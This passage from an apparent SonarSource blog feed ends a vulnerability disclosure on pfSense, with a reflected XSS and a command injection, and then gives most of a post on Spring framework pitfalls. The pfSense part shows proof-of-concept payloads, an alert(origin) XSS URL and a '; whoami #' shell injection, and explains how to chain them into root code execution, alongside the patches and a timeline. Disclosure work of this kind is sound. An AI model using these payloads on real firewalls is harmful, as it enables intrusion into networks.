can easily understand and fix the issue. These features also helped us to quickly discover and verify the three reported vulnerabilities in pfSense.&lt;/p&gt;&lt;h3&gt;Reflected XSS (CVE-2023-42325)&lt;/h3&gt;&lt;p&gt;One of the vulnerabilities discovered by SonarCloud was an XSS vulnerability on the &lt;code&gt;status_logs_filter_dynamic.php&lt;/code&gt; page of the pfSense web GUI. This page provides a filterable live view of the firewall logs of pfSense. The filter selected by the user is sent as part of the URL query string to the pfSense server. To make the logs live, some JavaScript code in the page requests the newest filtered log entries every 30 seconds. These requests have to use the same filter as the original request. So the corresponding query string is constructed by server-side PHP code and reflected in the script tag.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The SonarCloud analysis found that there is a taint flow where parts of the reflected query string are user-controllable. Let&amp;#x27;s look into that flow to confirm this potential vulnerability. The numbered steps of the taint flow are marked in brackets.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;id=SonarSourceResearch_pfsense-blogpost&amp;open=AYtcW5T0YkAG6r383NYb&quot;&gt;&lt;strong&gt;View pfSense XSS issue on SonarCloud&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, a URL query parameter is returned by the utility function &lt;code&gt;getGETPOSTsettingvalue&lt;/code&gt; in &lt;code&gt;guiconfig.inc&lt;/code&gt;. SonarCloud detects the source array &lt;code&gt;$_GET&lt;/code&gt; as tainted because the URL query parameters are user-controllable [1-3]. From here on, operation results containing the tainted return value of the function are also tainted.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6751b6ea-bb6d-46a4-8853-a88c78344d8a/XSS%201%20Source.png&quot; /&gt;&lt;p&gt;The &lt;code&gt;getGETPOSTsettingvalue&lt;/code&gt; function is used to set the &lt;code&gt;$interfacefilter&lt;/code&gt; global variable [4-5]. This variable usually contains a filter string to filter the firewall logs. But the taint flow going through here shows that it can also contain attacker-controlled malicious values.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/31d0edd5-b2f1-4fd4-84da-53393481cb17/XSS%202.png&quot; /&gt;&lt;p&gt;Following the taint flow to the end, we see that the value of &lt;code&gt;$interfacefilter&lt;/code&gt; is concatenated without encoding into &lt;code&gt;$filter_query_string&lt;/code&gt;. &lt;code&gt;$filter_query_string&lt;/code&gt; in turn is reflected on the page inside a script block as a JavaScript string, leading to the XSS vulnerability. SonarCloud correctly reports this taint flow as vulnerable, as no encoding or sanitization was used that would make the reflection harmless. Note that another variable &lt;code&gt;$filtertext&lt;/code&gt; is also concatenated and encoded using &lt;code&gt;json_encode()&lt;/code&gt; [8], suggesting that encoding for &lt;code&gt;$interfacefilter&lt;/code&gt; was simply forgotten.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bb69d19f-2d82-409c-bc4d-109f2a8f2534/XSS%203%20Sink.png&quot; /&gt;&lt;p&gt;An attacker could exploit this reflected XSS vulnerability by terminating the JS string and inserting their own code afterward. Leftover parts of the string after the injection point of the &lt;code&gt;interface&lt;/code&gt; query parameter can be commented out. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;/status_logs_filter_dynamic.php?filtersubmit=1&amp;interface=foo&quot;;alert(origin)//

var filter_query_string = &quot;&lt;?= $filter_query_string . &apos;&amp;logfile=&apos; . $logfile_path . &apos;&amp;nentries=&apos; . $nentries?&gt;&quot;;

var filter_query_string = &quot;type=raw&amp;filter=&amp;interfacefilter=foo&quot;;alert(origin) //&amp;logfile=/var/log/filter.log&amp;nentries=500&quot;;&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The attacker could then send a link with this crafted query parameter to an authenticated user of pfSense. After the victim clicks on the link, the JavaScript payload gets executed in the victim&amp;#x27;s browser and can perform actions in the pfSense firewall with the victim&amp;#x27;s permissions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the victim is an administrator of pfSense, the attacker can use that privilege to access the &lt;code&gt;diag_command.php&lt;/code&gt; page. This page allows pfSense admins to execute arbitrary system commands on the pfSense firewall appliance.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e6dab81e-26b3-46f3-97b6-9a28d59d47af/pfsense%20command%20execution.png&quot; /&gt;&lt;p&gt;So if an administrator user is targeted, the attacker could gain remote code execution (RCE) capabilities as root on the appliance. With RCE capabilities, the attacker can manipulate the firewall, spy on local network traffic, or attack services inside the local network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what if the victim of the XSS attack does not use the administrator account, out of caution or in a multi-user scenario? Is the RCE attack thwarted in that scenario? Unfortunately no, as we discovered a Command Injection vulnerability that also gives an attacker remote code execution capabilities while targeting a low-privilege pfSense user.&lt;/p&gt;&lt;h3&gt;Command Injection (CVE-2023-42326)&lt;/h3&gt;&lt;p&gt;A key feature of the pfSense web UI is the network interfaces’ configuration of the server. The pfSense server code implements this by constructing shell command strings to call standard Linux binaries like &lt;code&gt;ifconfig&lt;/code&gt;. The arguments in these shell commands are often taken from the configuration provided by the user, for example, the name of a network interface. This approach is vulnerable to Command Injection if the inserted arguments are not correctly validated or escaped.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud found two similar vulnerable taint flows on the &lt;code&gt;interfaces_gif_edit.php&lt;/code&gt; and &lt;code&gt;interfaces_gre_edit.php&lt;/code&gt; pages. These flows started with user-controllable HTTP POST request data and ended in the &lt;code&gt;exec()&lt;/code&gt; function, which executes shell commands without any validation or escaping of the data in between. We&amp;#x27;ll describe the first of the two taint flows, as they are almost identical.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;id=SonarSourceResearch_pfsense-blogpost&amp;open=AYtcW5TLYkAG6r383NWA&quot;&gt;&lt;strong&gt;View pfSense Command Injection issue on SonarCloud&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/666ecd5d-dd3f-4362-85fb-e37aa3de27c8/Command%20Injection.png&quot; /&gt;&lt;p&gt;On the &lt;code&gt;interfaces_gif_edit.php&lt;/code&gt; page, a new &lt;a href=&quot;https://docs.netgate.com/pfsense/en/latest/interfaces/gif.html&quot;&gt;Generic tunneling InterFace (GIF)&lt;/a&gt; can be created or an existing one edited. When a user creates a new GIF, all submitted form parameters like IP addresses (&lt;code&gt;remote-addr&lt;/code&gt;) and the used network interface (&lt;code&gt;if&lt;/code&gt;) are validated to contain expected, safe values. When editing an existing GIF, a hidden input element is inserted into the HTML form that holds the &lt;code&gt;gifif&lt;/code&gt; form parameter. This parameter contains the name of the edited GIF. In both cases, all form parameters are passed as an array to the &lt;code&gt;interface_gif_configure()&lt;/code&gt; function. Note that the &lt;code&gt;gifif&lt;/code&gt; parameter was not validated at this point.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (!$input_errors) {
    $gif = array();
    list($gif[&apos;if&apos;], $gif[&apos;ipaddr&apos;]) = explode(&quot;|&quot;, $_POST[&apos;if&apos;]);
    // ...
    $gif[&apos;remote-addr&apos;] = $_POST[&apos;remote-addr&apos;];
    // ...
    $gif[&apos;gifif&apos;] = $_POST[&apos;gifif&apos;];
    $gif[&apos;gifif&apos;] = interface_gif_configure($gif); // &lt;--- HERE&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/usr/local/www/interfaces_gif_edit.php&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The function &lt;code&gt;interface_gif_configure()&lt;/code&gt; in the &lt;code&gt;interfaces.inc&lt;/code&gt; file creates a new GIF or recreates the specified GIF using the supplied &lt;code&gt;$gif&lt;/code&gt; array parameter. This is achieved by calling &lt;code&gt;ifconfig&lt;/code&gt; and other shell commands with the &lt;code&gt;mwexec()&lt;/code&gt; util function, which is just a thin wrapper around &lt;code&gt;exec()&lt;/code&gt;. &lt;code&gt;escapeshellarg()&lt;/code&gt; is used in an attempt to securely construct the shell command, but the function is only used on variables that are believed to be user-controllable, like &lt;code&gt;$gif[&lt;/code&gt;&amp;#x27;&lt;code&gt;remote-addr&amp;#x27;]&lt;/code&gt;. The &lt;code&gt;$gif[&amp;#x27;gifif&amp;#x27;]&lt;/code&gt; variable should contain the name of an already existing GIF that is recreated. So it is assumed that the value is safe and does not need to be escaped. But this assumption is wrong, as shown by the taint flow. &lt;code&gt;$gif[&amp;#x27;gifif&amp;#x27;]&lt;/code&gt; is completely user-controllable, leading to a Command Injection vulnerability.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (platform_booting() || !(empty($gif[&apos;gifif&apos;]))) {
    pfSense_interface_destroy($gif[&apos;gifif&apos;]);
    pfSense_interface_create2($gif[&apos;gifif&apos;]);
    $gifif = $gif[&apos;gifif&apos;];
} else {
    $gifif = pfSense_interface_create2(&quot;gif&quot;);
}
// ...
mwexec(&quot;/sbin/ifconfig {$gifif} tunnel {$realifip} &quot; .  escapeshellarg($gif[&apos;remote-addr&apos;]));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/etc/inc/interfaces.inc&lt;/em&gt;&lt;/p&gt;&lt;p&gt;An attacker could exploit this vulnerability by inserting a semicolon to start a new shell command and commenting out the unwanted rest of the original command with a hashtag. Because the pfSense process runs as root to be able to change networking settings, the attacker can execute arbitrary system commands as root using this attack. The attacker needs access to a user account with permission to access the &lt;code&gt;interface_gif_edit.php/interface_gre_edit.php&lt;/code&gt; page, which can be done with the previously shown XSS vulnerability.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;; whoami #

mwexec(&quot;/sbin/ifconfig {$gifif} tunnel {$realifip} &quot; .  escapeshellarg($gif[&apos;remote-addr&apos;]));

/sbin/ifconfig ; whoami # tunnel 192.168.0.3 1.2.3.4&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;pfSense Vulnerabilities Patches&lt;/h3&gt;&lt;p&gt;Reflected XSS and Command Injection are both Injection vulnerabilities. To patch Injection vulnerabilities, it is necessary to encode/escape all inserted data for the context it is inserted into. We thank the Netgate team, who swiftly responded with patch commits:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the Reflected XSS case on the &lt;code&gt;status_logs_filter_dynamic.php&lt;/code&gt; page, the injection context is a JavaScript string. The pfSense maintainers at Netgate &lt;a href=&quot;https://github.com/pfsense/pfsense/commit/f387c974a9a597bf01ab86ec049cca186a1e050c&quot;&gt;patched&lt;/a&gt; the security vulnerability by using the &lt;code&gt;json_encode()&lt;/code&gt; and &lt;code&gt;urlencode()&lt;/code&gt; functions, which were already used on neighboring variables.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if ($filtersubmit) {	# Raw mode.
-  $filter_query_string = &quot;type=raw&amp;filter=&quot; . urlencode(json_encode($filtertext )) . &quot;&amp;interfacefilter=&quot; . $interfacefilter;
+  $filter_query_string = &quot;type=raw&amp;filter=&quot; . urlencode(json_encode($filtertext)) . &quot;&amp;interfacefilter=&quot; . urlencode(json_encode($interfacefilter));
}
...
?&gt;
var filter_query_string = &quot;&lt;?=$filter_query_string . &apos;&amp;logfile=&apos; . $logfile_path . &apos;&amp;nentries=&apos; . $nentries?&gt;&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pfsense/pfsense: f387c97&lt;/em&gt;&lt;/p&gt;&lt;p&gt;While &lt;code&gt;json_encode()&lt;/code&gt; eliminates all ways for injected values to escape the string context here, the function is intended for encoding JSON, which is different from a JavaScript string inside a script block. In general, injections can still be possible if the wrong encoding function is used. To aid developers in choosing the right fix, each SonarCloud issue has a &amp;quot;How to fix it?&amp;quot; tab. Looking at &lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_pfsense-blogpost&amp;open=AYtcW5T0YkAG6r383NYb&amp;tab=how_to_fix&quot;&gt;the tab for this issue&lt;/a&gt;, we see that the recommendation for reflected contents inside a script block is to use a data attribute. With an attribute, the context is HTML, and the &lt;code&gt;htmlentities()&lt;/code&gt; function can be used safely. Unfortunately, there is no PHP function that makes reflecting user input inside script blocks completely safe in all cases, so this approach should be used instead.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;script data-filter=&quot;&lt;?= htmlentities($interfacefilter) ?&gt;&quot;&gt;
  const filter = document.querySelector(&quot;[data-filter]&quot;).dataset.filter;
&lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the Command Injection vulnerability, the injection context is a shell command. The maintainers used the &lt;code&gt;escapeshellarg()&lt;/code&gt; function to &lt;a href=&quot;https://github.com/pfsense/pfsense/commit/d69d6c8424ab4299234fb5ec6964682e2e6cbcdd&quot;&gt;patch&lt;/a&gt; the security vulnerability, which was also already used on neighboring variables. The function wraps its input argument in single quotes and escapes single quotes already present in the input. The shell will take everything wrapped in single quotes as a singular string argument to the current command, which prevents injected values from executing additional malicious commands.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;- mwexec(&quot;/sbin/ifconfig {$gifif} tunnel {$realifip} &quot; . escapeshellarg($gif[&apos;remote-addr&apos;]));
+ mwexec(&quot;/sbin/ifconfig &quot; . escapeshellarg($gifif) . &quot; tunnel &quot; . escapeshellarg($realifip) . &quot; &quot; . escapeshellarg($gif[&apos;remote-addr&apos;]));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pfsense/pfsense: d69d6c8&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Additionally, the &lt;a href=&quot;https://github.com/pfsense/pfsense/commit/d69d6c8424ab4299234fb5ec6964682e2e6cbcdd&quot;&gt;patch&lt;/a&gt; checks if the user input starts with a safe prefix to avoid an &lt;a href=&quot;https://sonarsource.github.io/argument-injection-vectors/explained/&quot;&gt;Argument Injection vulnerability&lt;/a&gt;. If the input starts with a dash or two dashes and is used as an argument in the shell command, most programs would parse that as an option. This can have a serious impact as we have shown in &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;past publications&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;+ if (empty($_POST[&apos;gifif&apos;]) ||
+   preg_match(&quot;/^gif[0-9]+$/&quot;, $_POST[&apos;gifif&apos;])) {
+     /* Attempt initial configuration of the GIF if the
+     * submitted interface is empty or looks like a GIF
+     * interface. */
+     $gif[&apos;gifif&apos;] = $_POST[&apos;gifif&apos;];
+     $gif[&apos;gifif&apos;] = interface_gif_configure($gif);
+ } else {
+     $input_errors[] = gettext(&quot;Invalid GIF interface.&quot;);
+ }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pfsense/pfsense: d69d6c8&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In both cases, encoding/escaping was already used, just not on every variable interpolated into a dangerous context. The wrong assumptions about which variables are user-controllable then lead to the shown vulnerabilities. That is why we recommend encoding/escaping all variables regardless of source, as there is usually no harm in doing so. This approach also hardens your code against future changes or bugs elsewhere in the codebase, contributing to a Clean Code state.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-03&lt;/td&gt;&lt;td&gt;We report all issues to Netgate&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-05&lt;/td&gt;&lt;td&gt;Netgate acknowledges all issues and publishes patch commits&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-31&lt;/td&gt;&lt;td&gt;Netgate publishes &lt;a href=&quot;https://docs.netgate.com/advisories/index.html&quot;&gt;advisories&lt;/a&gt; for all issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-06&lt;/td&gt;&lt;td&gt;Netgate releases patched version pfSense Plus 23.09&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-16&lt;/td&gt;&lt;td&gt;Netgate releases patched version pfSense CE 2.7.1&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;pfSense Vulnerabilities Summary&lt;/h2&gt;&lt;p&gt;This blog post showcased two of the three security vulnerabilities SonarCloud discovered in pfSense. The vulnerable code samples highlighted that it is not easy for developers to remember encoding every user-controllable value in sensitive contexts, especially in large codebases. SonarCloud can help developers keep their code clean by finding injection and other vulnerabilities, all before the vulnerabilities make it into production.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openrefine-zip-slip/&quot;&gt;Unzipping Dangers: OpenRefine Zip Slip Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pimcore-one-click-two-security-vulnerabilities/&quot;&gt;Pimcore: One click, two security vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system/&quot;&gt;OpenEMR - Remote Code Execution in your Healthcare System&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring framework pitfalls]]></title><description><![CDATA[Spring framework offers a lot of help in the development, but we still have to pay attention and make the right use of it in order to avoid some issues.]]></description><link>https://www.sonarsource.com/blog/spring-framework-pitfalls</link><guid isPermaLink="false">4345aac0-f73d-5b59-8936-32bedcb50deb</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Sun, 10 Dec 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://spring.io/projects/spring-framework&quot;&gt;Spring&lt;/a&gt; is a famous framework, &lt;a href=&quot;https://www.jetbrains.com/lp/devecosystem-2022/java/&quot;&gt;used in more than 60%&lt;/a&gt; of applications nowadays, which makes it easy to create stand-alone, production-grade applications.&lt;/p&gt;&lt;p&gt;It introduces tons of new classes, interfaces, and APIs in order to help in the development, that a developer needs to learn and use. In the process of coding with Spring Boot, new bugs, misconfigurations, and security issues can be introduced that will impact the code quality of our applications.&lt;/p&gt;&lt;p&gt;With several &lt;a href=&quot;https://rules.sonarsource.com/java/tag/spring/&quot;&gt;rules covering Spring&lt;/a&gt;, Sonar can help detect those issues giving consistency across the changes introduced as part of the lifecycle of our applications. Let’s see some of the most important Spring Boot issues detected by Sonar analyzers.&lt;/p&gt;&lt;h2&gt;Spring framework pitfalls&lt;/h2&gt;&lt;p&gt;In this article, we are going to focus on 3 important points when we code using Spring framework: &lt;strong&gt;transactional operations&lt;/strong&gt;, &lt;strong&gt;persistent entities,&lt;/strong&gt; and &lt;strong&gt;bean definitions&lt;/strong&gt;.&lt;/p&gt;&lt;h3&gt;Transactional Operations&lt;/h3&gt;&lt;p&gt;All the database operations need to be committed, to become available to other connections. So, for every operation done to the database, the process is to open a transaction, change the data, commit the transaction, or if anything fails rollback the transaction.&lt;/p&gt;&lt;p&gt;Spring helps by allowing us to annotate methods with &lt;em&gt;@&lt;a href=&quot;https://docs.spring.io/spring-framework/reference/data-access/transaction/declarative/annotations.html&quot;&gt;Transactional&lt;/a&gt;&lt;/em&gt; which creates proxies behind the scenes to generate code running as part of our code, in order to handle those transactions for us.&lt;/p&gt;&lt;p&gt;But you can have chains of method calls, where an operation consists of several changes to the database, and those changes are split into several methods for clarity. There’s when Transaction propagation takes place.&lt;/p&gt;&lt;p&gt;Usually, we will have the entry point method with the &lt;em&gt;@Transactional&lt;/em&gt; annotation, starting the transaction, and the rest of the methods in the call chain will not specify the annotation, allowing the first method to do the whole commit. That’s the REQUIRED default propagation method. If there’s no transaction running it will create one.&lt;/p&gt;&lt;p&gt;But, you can say, sometimes reality is more complex and I have methods that are part of different operations, and sometimes my method can be the only operation to be done in a transaction. &lt;/p&gt;&lt;p&gt;In these chains of calls, it’s a requirement to keep compatible &lt;a href=&quot;https://docs.spring.io/spring-framework/reference/data-access/transaction/declarative/tx-propagation.html&quot;&gt;transaction propagation&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;However, it is important to keep in mind that Spring will not consider the transaction specifications on self-invocation. That means when you call a method from another method in the same class, Spring will use the “this” approach to refer to the receiver method, so the code Spring generates as a proxy to handle transactions will not be executed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class ABHandler  {
  public void saveAB(A a, B b) {
      saveA(a);
      saveB(b);
  }

  @Transactional
  public void saveA(A a) {
       dao.saveA(a);
  }

  @Transactional
  public void saveB(B b) {
       dao.saveB(b);
  }
}

public class GlobalHandler {
  public void save(A a, B b) {
    ABHandler abHandler = new ABHandler();
    abHandler.saveAB(a, b); // Non compliant
    abHandler.saveA(a);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this code, on the call to &lt;em&gt;saveAB&lt;/em&gt; from the object &lt;em&gt;GlobalHandler&lt;/em&gt; is reaching a method without transactionality enabled, and then it self-invokes method saveA with a &lt;em&gt;@Transactional&lt;/em&gt; specified. As we learned before, this call from &lt;em&gt;saveAB&lt;/em&gt; to &lt;em&gt;saveA&lt;/em&gt; is not going to use the proxies Spring has generated, therefore no transaction will be created. &lt;/p&gt;&lt;p&gt;In order to avoid this, we should specify the transactionality in the method &lt;em&gt;saveAB&lt;/em&gt; to ensure that the transaction is created and managed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class ABHandler  {
  @Transactional
  public void saveAB(A a, B b) {
      saveA(a);
      saveB(b);
  }

  @Transactional
  public void saveA(A a) {
       dao.saveA(a);
  }

  @Transactional
  public void saveB(B b) {
       dao.saveB(b);
  }
}

public class GlobalHandler {
  public void save(A a, B b) {
    ABHandler abHandler = new ABHandler();
    abHandler.saveAB(a, b); 
    abHandler.saveA(a);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-2229/&quot;&gt;Sonar has a rule that detects these issues and can save you from incompatible transaction propagation.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Persistent entities&lt;/h3&gt;&lt;p&gt;One of the benefits of using frameworks like Spring Boot is the ease of interacting with the persistence layer. &lt;/p&gt;&lt;p&gt;In order to use typed objects and properties, Java provides the &lt;em&gt;@Entity&lt;/em&gt; annotation to represent a relational table and Spring provides the &lt;em&gt;@Document&lt;/em&gt; annotation to represent MongoDB and ElasticSearch documents. In all these cases Spring will use the information in the element and create a bridge between the object domain and the database one.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@Entity
public class Wish {
  Long productId;
  Long quantity;
  User user;
  Client client;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It’s important to understand that these objects represent data objects with a direct conversion to the stored element in the database. Therefore all the fields carried by the object will be saved in the database.&lt;/p&gt;&lt;p&gt;Spring also provides methods to generate &lt;a href=&quot;https://spring.io/guides/tutorials/rest/&quot;&gt;REST API services&lt;/a&gt; that will be executed when the user makes an HTTP request to that server. These methods also allow the use of entities/documents as arguments that Spring will map from the request payload.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@Controller
public class PurchaseOrderController {
  @RequestMapping(path = &quot;/saveForLater&quot;, method = RequestMethod.POST)

  public String saveForLater(Wish wish) { // Noncompliant
    session.save(wish);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, we have a situation where an attacker can send requests with information in unexpected fields that, in case of using directly those entities, will reach our database. In our example, an attacker could send information about an impersonated User, for example.&lt;/p&gt;&lt;p&gt;This is why it is always encouraged to use &lt;a href=&quot;https://www.baeldung.com/java-dto-pattern&quot;&gt;DTO objects&lt;/a&gt; that will be used to translate the information coming from the user into the database Entity/Document considering only the required information and even doing a sanitizing process on the translation. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class WishDTO {
  Long productId;
  Long quantity;
  Long clientId;
}

@Controller
public class PurchaseOrderController {
  @RequestMapping(path = &quot;/saveForLater&quot;, method = RequestMethod.POST)

  public String saveForLater(WishDTO wish) {
    Wish persistentWish = new Wish();
    persistentWish.productId = wish.productId;
    persistentWish.quantity = wish.quantity;
    persistentWish.client = getClientById(wish.clientId);
    persistentWish.user = getUserFromSession();
    session.save(persistentWish);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-4684/&quot;&gt;Sonar&amp;#x27;s rule prevents you from using a persistent entity as an argument of @RequestMapping methods&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Bean definitions&lt;/h3&gt;&lt;p&gt;We can agree that one of the main powers of using Spring is the &lt;a href=&quot;https://docs.spring.io/spring-framework/reference/core/beans/dependencies/factory-collaborators.html&quot;&gt;Dependency Injection&lt;/a&gt; allowing the user to define beans that will be injected into other objects and their lifespan. With this feature classes only need to know what their dependencies are but not about how and when they have to be instantiated and deleted.&lt;/p&gt;&lt;p&gt;Spring comes also with a great &lt;a href=&quot;https://www.baeldung.com/spring-component-scanning&quot;&gt;bean discovery mechanism&lt;/a&gt;, that will scan our source code packages searching for bean definitions, and the Spring context will instantiate them according to the configuration (&lt;a href=&quot;https://docs.spring.io/spring-framework/reference/core/beans/dependencies/factory-lazy-init.html&quot;&gt;lazy, eager&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;But, as you can imagine, with great power comes great responsibility. The scanning mechanism can impact the performance of our application and even produce runtime errors that are hard to spot during the coding phase.&lt;/p&gt;&lt;p&gt;If we define the start scan point in the default package, that is without specifying the package in the class that is used as &lt;em&gt;@SpringBootApplication&lt;/em&gt; or &lt;em&gt;@ComponentScan&lt;/em&gt; or setting explicitly the default package to the ComponentScan annotation, Spring will scan the entire classpath leading to a long start-up time and very likely runtime errors as Spring classes will be scanned too.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import org.springframework.boot.SpringApplication;

@SpringBootApplication // Noncompliant default package

public class RootBootApp {
}

@ComponentScan(&quot;&quot;)
public class Application {

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should always have a package in your application as the starting point of the bean scan for Spring.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;package com.mycompany.myproject;

import org.springframework.boot.SpringApplication;

@SpringBootApplication
public class RootBootApp {

}

@ComponentScan(&quot;com.mycompay.myproject&quot;)
public class Application {

}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/tag/spring/RSPEC-4602/&quot;&gt;The Sonar rule ensures that you don&amp;#x27;t use @SpringBootApplication and @ComponentScan on the default project&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the consumer side of those beans, Spring offers, with its Dependency Injection framework, a powerful injection mechanism that makes very easy-to-use instances of beans, with specific life scopes, without having to worry about when and where those beans have been created or deleted.&lt;/p&gt;&lt;p&gt;These beans can be easily injected into your classes using the &lt;em&gt;@Autowired&lt;/em&gt; annotation. But in the case where you have dependency chains between beans, the injection could be done way before it is needed impacting the performance of your application.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@Configuration
public class ​FooConfiguration {

  @Autowired
  private ​DataSource dataSource​;  // Noncompliant, early injection

  @Bean
  public ​MyService myService() {
    return new ​MyService(this​.dataSource​);
  }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to avoid this the injection should be requested as late as possible, only when it’s needed. In order to accomplish this, parameter injection should be used instead of &lt;em&gt;@Autowired&lt;/em&gt;, telling Spring that the bean needs to be created just before the creation of the dependent bean. This way you won’t have beans running before they are needed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@Configuration
public class ​FooConfiguration {

 @Bean
  public ​MyService myService(DataSource dataSource) {
    return new ​MyService(dataSource);
  }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-3305/&quot;&gt;This Sonar rule ensures that beans are only instantiated when they are needed by using parameter injection instead of @Autowired for dependent beans&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Conclusions&lt;/h3&gt;&lt;p&gt;Spring offers several features in order to help development, but all this power comes with complex configurations in order to cover all the different usages. &lt;/p&gt;&lt;p&gt;It’s important to understand the Spring limitations and the pitfalls in order to get the best value out of it, but it’s not always easy to spot the code that can cause a huge impact on performance and stability.&lt;/p&gt;&lt;p&gt;Sonar tools offer several rules that will cover and spot these issues, &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;warning you while coding&lt;/a&gt; using your preferred IDE, or checking the code base during the CI/CD pipeline and making the &lt;a 